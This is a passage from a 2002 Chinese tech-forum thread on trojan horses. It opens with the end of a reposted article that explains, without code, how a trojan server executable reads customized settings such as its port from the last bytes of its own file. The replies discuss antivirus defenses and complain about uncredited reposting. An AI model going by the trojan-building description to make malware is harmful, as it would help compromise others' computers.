  怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。


论坛徽章:
0
2 [报告]
发表于 2002-01-29 10:26 |只看该作者

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon)

那木马岂不是永远也防不了吗?

论坛徽章:
1
荣誉会员
日期:2011-11-23 16:44:17
3 [报告]
发表于 2002-01-29 22:16 |只看该作者

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon)

天生一物,必有它物相克。否则还得了。现在好的防火墙就有载杀木马的功能。许多防杀病毒软件也有格杀木马的功能。木马其实就是一种病毒。这只是魔高一尺,道高一丈的关系。

论坛徽章:
0
4 [报告]
发表于 2002-02-01 13:03 |只看该作者

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon)

下次发表文章写明出处~请对作者负责!

论坛徽章:
0
5 [报告]
发表于 2002-02-01 14:00 |只看该作者

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon)

希望斑竹能对这种转载他人问章而不注明出处的恶劣作法有些警告或者别的什么,因为这样是对原作者的极大的不尊重。别人辛辛苦苦为大家无偿写这些东西,让让别人分享经验,让大家都能学到东西,我们大家都从中受益.但这种转载而不注明出处的作法,是会伤害别人感情的。
BTW:我本不想在技术性的板块说这些话,但我实在看不惯这种作法,所以我说了。希望过几天把这篇给删掉。

论坛徽章:
0
6 [报告]
发表于 2002-02-01 14:38 |只看该作者

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon)

楼上兄弟~你的观点很正确~他这种是典型的伪黑客行为~当然这并不重要,重要的是糟蹋了文章原作者的心血~你说对么~希望大家明白,一篇好的文章是集成了作者的很大心血...更有甚者拿来人家文章,而版权则归其所有--悲哀至极!

警告这些转载文章,并不注明文章出处的人...严重者消除ID!

论坛徽章:
0
7 [报告]
发表于 2002-02-01 14:56 |只看该作者

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon)

有好文章,能拿出来让大家一起共享,也无可厚非的
我倒是希望有更多的人在这里贴好文章,不过,要不是自己写的,还是注上出处的好呀

论坛徽章:
0
8 [报告]
发表于 2002-02-05 16:34 |只看该作者

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon)

好文!

论坛徽章:
0
9 [报告]
发表于 2002-03-05 08:43 |只看该作者

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon)

能否列出一些第四代木马的名字。

论坛徽章:
0
10 [报告]
发表于 2002-03-11 19:17 |只看该作者

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon)

努力学习中
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP